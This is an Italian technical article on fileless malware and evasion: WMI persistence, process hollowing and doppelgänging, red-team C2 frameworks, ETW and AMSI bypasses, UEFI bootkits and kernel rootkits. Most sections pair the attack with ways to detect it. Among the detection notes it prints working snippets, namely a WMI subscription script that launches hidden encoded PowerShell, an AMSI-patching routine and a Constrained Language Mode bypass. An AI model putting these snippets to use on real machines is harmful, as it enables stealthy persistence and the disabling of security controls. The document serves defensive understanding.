Architetture di malware residenti in memoria e senza file

Il Mito dell'Attacco Senza Traccia

Il termine "malware fileless" è diventato pericolosamente fuorviante nel discorso sulla sicurezza. Sebbene queste tecniche evitino di scrivere file PE tradizionali su disco, lasciano tracce sostanziali nella memoria volatile, nei hive del registro, nei file prefetch e nei log degli eventi. La distinzione è di importanza critica per i difensori: fileless non significa senza traccia. Un'iniezione riflessiva di DLL lascia regioni di memoria allocabili con caratteristiche sospette; il process hollowing crea sezioni di memoria non corrispondenti; anche il framework in-memory più sofisticato richiede artefatti di inizializzazione che l'analisi forense può recuperare.

Comprendere questa distinzione plasma la strategia di rilevamento. La forense della memoria, la telemetria ETW (Event Tracing for Windows) e l'analisi comportamentale diventano complementi essenziali alla scansione basata su firme. L'obiettivo dell'avversario si sposta dall'invisibilità totale alla riduzione del tempo di permanenza prima del rilevamento—una corsa misurata in minuti piuttosto che in mesi.

Living-off-the-Land: Abuso della Piattaforma Affidabile

I LOLBins (Living-off-the-Land Binaries) rappresentano la tecnica fondamentale per le operazioni fileless, sfruttando eseguibili di sistema legittimi e firmati per eseguire azioni malevole. Strumenti firmati Microsoft come certutil.exe, mshta.exe, regsvr32.exe e powershell.exe forniscono capacità di esecuzione, download e codifica senza attivare le difese di whitelisting delle applicazioni.

Il meccanismo di persistenza spesso sfrutta le caratteristiche stesse della piattaforma affidabile. Considera la manipolazione del repository WMI:

# Creazione di una sottoscrizione WMI per persistenza
$FilterArgs = @{
    Name='WinLogonFilter'
    EventNamespace='root/cimv2'
    QueryLanguage='WQL'
    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
}

$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{
    Name='WinLogonConsumer'
    CommandLineTemplate='powershell.exe -nop -w hidden -e JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8A...'
}

$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$BindingArgs = @{
    Filter = [ref]$Filter
    Consumer = [ref]$Consumer
}
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $BindingArgs

Questa sottoscrizione si attiva 200-320 secondi dopo l'avvio, eseguendo PowerShell codificato attraverso un componente infrastrutturale WMI affidabile. Il rilevamento richiede il monitoraggio degli eventi 5857-5861 del provider ETW WMI-Activity, non gli avvisi tradizionali di creazione file.

Iniezione Riflessiva e Tecniche di Manipolazione dei Processi

L'Iniezione Riflessiva di DLL, ideata da Stephen Fewer, consente di caricare una DLL interamente dalla memoria senza utilizzare il loader di Windows. La DLL analizza i propri header, esegue le rilocazioni e risolve le importazioni manualmente. Implementazioni moderne come sRDI (Shellcode Reflective DLL Injection) convertono le DLL in shellcode position-independent, eludendo gli scanner di memoria alla ricerca di header MZ nelle allocazioni private.

Il Process Hollowing crea un processo legittimo sospeso, smappa il suo eseguibile originale e lo sostituisce con codice malevolo:

1. CreateProcess("svchost.exe", ..., CREATE_SUSPENDED, ...) → Handle del processo, handle del thread
2. NtUnmapViewOfSection(hProcess, baseAddress) → Svuota l'immagine originale
3. VirtualAllocEx(hProcess, baseAddress, imageSize, MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE)
4. WriteProcessMemory(hProcess, baseAddress, maliciousImage, imageSize, ...)
5. Riloca l'immagine, risolve le importazioni
6. SetThreadContext(hThread, &contextWithNewEntryPoint)
7. ResumeThread(hThread)

La forense della memoria rileva questo tramite malfind di Volatility o windows.pslist.PsList con analisi VAD—i processi svuotati presentano permessi PAGE_EXECUTE_READWRITE sul loro VAD eseguibile primario, e l'header PE in memoria non corrisponderà all'hash del file su disco.

Il Process Doppelgänging, divulgato nel 2017 dai ricercatori di enSilo, abusa del Transactional NTFS (TxF) di Windows per creare un processo fantasma:

// Flusso di lavoro semplificato del doppelgänging
NTSTATUS doppelgangeInject(WCHAR* targetPath, PVOID payload, DWORD payloadSize) {
    HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, NULL, NULL);
    HANDLE hTransactedFile = CreateFileTransactedW(targetPath, GENERIC_WRITE|GENERIC_READ, 
        0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
    
    // Scrive il payload nel file transazionato (isolato dalla vista del filesystem)
    WriteFile(hTransactedFile, payload, payloadSize, NULL, NULL);
    
    // Crea una sezione dal file transazionato - appare come binario firmato legittimo
    NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, SEC_IMAGE, PAGE_READONLY, hTransactedFile);
    
    // Rollback della transazione - file su disco mai modificato
    RollbackTransaction(hTransaction);
    
    // Mappa la sezione nel nuovo processo
    NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);
    
    // ... creazione ed esecuzione del thread
}

Il Transacted Hollowing combina il doppelgänging con il process hollowing, utilizzando la sezione transazionata come mappatura "pulita" iniziale per poi svuotarla—creando livelli di astrazione che confondono gli scanner di memoria.

Framework Commerciali di Simulazione dell'Avversario

I framework moderni di red team hanno reso operative queste tecniche con sofisticazione industriale, creando sfide asimmetriche per i difensori.

Framework Focus di Evasione Tecniche Notevoli
Cobalt Strike C2 Malleable, sleep mask, evasione in-memory Profili C2 definiti dall'utente, crittografia AES/RC4 del sleep, beacon SMB/TCP, esecuzione BOF/.NET
Sliver Cross-platform, rilevamento DNS canary Assembly .NET in-memory, iniezione di processo tramite multiple tecniche, C2 DNS/TLS/mTLS
Brute Ratel C4 Evasione EDR, syscall proxying Agent Badger con offuscamento del sleep, spoofing dell'indirizzo di ritorno x64, rimozione hardware breakpoint

Lo sleep mask di Cobalt Strike crittografa la memoria del beacon durante i periodi di inattività, decrittografando solo brevemente per il callback. Il suo C2 Malleable consente la completa personalizzazione degli indicatori di rete—dalle impronte TLS JA3 agli header HTTP che mimano applicazioni legittime. Il rilevamento richiede l'analisi delle anomalie di memoria durante i periodi attivi o l'identificazione della routine di decrittazione stessa tramite pattern comportamentali.

Il DNS canary di Sliver genera query DNS uniche per binario, permettendo agli operatori di rilevare l'esecuzione in sandbox o la detonazione da parte di analisti. La sua esecuzione .NET in-memory sfrutta l'hosting CLR senza toccare il disco:

# Esecuzione assembly .NET di Sliver in processo remoto
sliver> execute-assembly --in-process /path/to/Rubeus.exe klist

Brute Ratel C4 spinge l'evasione oltre con agenti Badger che sostituiscono le API Windows standard con syscall diretti, aggirando l'hooking in user-mode. Il suo spoofing dell'indirizzo di ritorno x64 manipola lo stack per mostrare frame di chiamata legittimi durante i callback ETW e lo stack walking. In modo critico, implementa la cancellazione degli hardware breakpoint per sconfiggere le soluzioni EDR che utilizzano i registri di debug Dr0-Dr7 per il monitoraggio dell'esecuzione.

ETW, AMSI e CLM: La Corsa agli Armamenti dell'Evasione

Bypass ETW si sono evoluti dalla disabilitazione rudimentale dei provider alla manipolazione sofisticata. Le tecniche moderne includono:

  • Patching di EtwEventWrite: Reindirizzamento a istruzioni ret in ntdll.dll, sebbene sempre più rilevato
  • Bypass ETW TI (Threat Intelligence) senza patch: Manipolazione degli handle di registrazione tramite NtTraceControl con TraceControlStopLogger (classe 1) per disabilitare provider specifici
  • Frame di stack sintetici: Abuso delle limitazioni di RtlWalkFrameChain con l'omissione del frame pointer

AMSI Unhooking neutralizza l'interfaccia di scansione degli script di Windows. La tecnica classica patcha AmsiScanBuffer nella amsi.dll caricata:

// Esempio di patch AMSI (rilevato dalla maggior parte degli EDR moderni)
IntPtr asmi = LoadLibrary("amsi.dll");
IntPtr AmsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");

// Byte originali: 4c 8b dc 49 89 5b 08 49 89 6b 10 49 89 73 18
// Patch a: ret (0xC3) o mov eax, 80070057 (AMSIE_INVALID); ret
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
VirtualProtect(AmsiScanBuffer, patch.Length, PAGE_EXECUTE_READWRITE, out _);
Marshal.Copy(patch, 0, AmsiScanBuffer, patch.Length);

Gli EDR moderni rilevano questo tramite controlli di integrità della memoria. Il malware avanzato ora impiega bypass AMSI tramite CLR profiling o hardware breakpoint sulle funzioni AMSI reindirizzati a handler benigni—tecniche che richiedono ispezione più profonda della semplice scansione per firme di byte.

Breakout Constrained Language Mode (CLM) sfrutta il fatto che CLM si applica solo a Windows PowerShell, non a PowerShell 7, oppure leva metodi .NET accessibili nonostante i vincoli del linguaggio:

# Breakout CLM tramite Add-Type e compilazione C#
$Ref = [Ref].Assembly.GetTypes() | ? { $_.Name -like "*iUtils" }
$Field = $Ref.GetFields("NonPublic,Static") | ? { $_.Name -like "*Context" }
$Field.SetValue($null, [IntPtr]::Zero)  # Disabilita l'applicazione CLM

In alternativa, InstallUtil.exe, Msbuild.exe e Csc.exe eseguono codice full-trust da file XML o sorgenti indipendentemente dallo stato CLM.

Bootkit UEFI e Persistenza Below-the-OS

Le minacce a livello di firmware rappresentano la superficie di attacco più persistente e stealth. ESPecter, scoperto da ESET nel 2021, modifica la EFI System Partition (ESP) per sostituire il legittimo Windows Boot Manager (bootmgfw.efi) con una versione malevola che carica componenti aggiuntivi prima dell'inizializzazione del SO.

MoonBounce, attribuito ad APT41, dimostra una persistenza ancora più profonda infettando la memoria flash SPI contenente il firmware UEFI stesso—non solo la partizione ESP. Questo sopravvive alla reinstallazione del SO e alla sostituzione del disco. MoonBounce aggancia l'immagine CoreDxe nel firmware, intercettando ExitBootServices per caricare un driver malevolo prima dell'inizializzazione del kernel Windows.

Layout Memoria Flash SPI:
┌─────────────────────────────────────┐
│       Regione Descriptor (4KB)       │
├─────────────────────────────────────┤
│          Regione BIOS (variabile)    │ ← CoreDxe, driver DXE, hook MoonBounce
├─────────────────────────────────────┤
│       Regione Intel ME (variabile)   │
├─────────────────────────────────────┤
│    Regione Gigabit Ethernet (4KB)    │
├─────────────────────────────────────┤
│     Regione Platform Data (variabile)│
└─────────────────────────────────────┘

Sfide di Analisi della Flash SPI includono:

  • Requisiti di accesso hardware: Programmazione SPI diretta via Dediprog SF100, programmatori compatibili Flashrom, o interfacce specifiche del SoC
  • Parsing dei firmware volume: Il firmware UEFI PI (Platform Initialization) utilizza Firmware File System (FFS) con file denominati da GUID nei firmware volume
  • Livelli di compressione: I driver DXE usano spesso compressione LZMA o Tiano richiedendo estrazione prima dell'analisi
  • Bypass della verifica della firma: Protezioni crittografiche Intel Boot Guard e AMD PSP

Verifica Assistita da Hardware fornisce difesa ma introduce complessità:

Tecnologia Meccanismo Limitazioni
Intel Boot Guard ACM (Authenticated Code Module) verifica la firma dell'Initial Boot Block (IBB) prima dell'esecuzione Errata configurazione OEM (modalità verify vs. measured boot), rischi di key escrow
AMD PSP Co-processore ARM Cortex-A5 verifica la firma del BIOS Vulnerabilità storiche (CVE-2017-2637, CVE-2019-9836), limitata trasparenza
Intel TXT/TXT Trusted Execution Technology per avvio misurato Overhead prestazionale, infrastruttura di attestazione complessa

La Verified Boot di Boot Guard previene completamente l'esecuzione di firmware modificato; la Measured Boot registra solo hash per l'attestazione remota. L'analisi della configurazione di Boot Guard richiede il parsing delle regioni Flash Descriptor e FMAP per la struttura Boot Guard Profile (BGUP), accessibile tramite l'utilità Chipsec di Intel:

# Verifica CHIPSEC Boot Guard
python chipsec_main.py -m common.bios_wp
python chipsec_main.py -m common.spi_desc
python chipsec_util.py spi dump rom.bin
python chipsec_util.py decode rom.bin  # Estrae i firmware volume

Rootkit a Livello Kernel e DKOM

La Direct Kernel Object Manipulation (DKOM) abilita la stealth alterando direttamente le strutture dati del kernel, aggirando il monitoraggio delle API. Rootkit come FudModule (Lazarus Group, 2022) abusano del BYOVD (Bring Your Own Vulnerable Driver) per ottenere esecuzione nel kernel, poi manipolano le strutture per nascondere processi, thread e driver caricati.

Le tecniche DKOM classiche includono:

  • Nascondimento processi: Scollegamento di EPROCESS dalla lista doppiamente collegata PsActiveProcessHead; richiede la correzione dei puntatori Flink/Blink
  • Nascondimento thread: Simile manipolazione di ETHREAD o modifica di CrossThreadFlags
  • Nascondimento driver: Rimozione da PsLoadedModuleList
  • Manipolazione token: Scambio dei token di processo tramite swap del puntatore _EPROCESS.Token

L'EDR moderno rileva DKOM tramite:

  • Anelli di integrità: Monitoraggio delle strutture critiche del kernel con verifica secondaria
  • Hardware breakpoint su strutture kernel: Intensivo in termini di prestazioni ma efficace per target ad alto valore
  • Monitoraggio basato su hypervisor: Introspezione basata su Intel VT-x/AMD-V al di sotto del livello kernel

La corsa agli armamenti prosegue verso rootkit a livello hypervisor (BluePill, Vitriol) e tecniche anti-EDR che disabilitano completamente i callback del kernel—richiedendo ai difensori di assumere la compromissione e enfatizzare il rilevamento delle anomalie comportamentali rispetto alla sola verifica di integrità.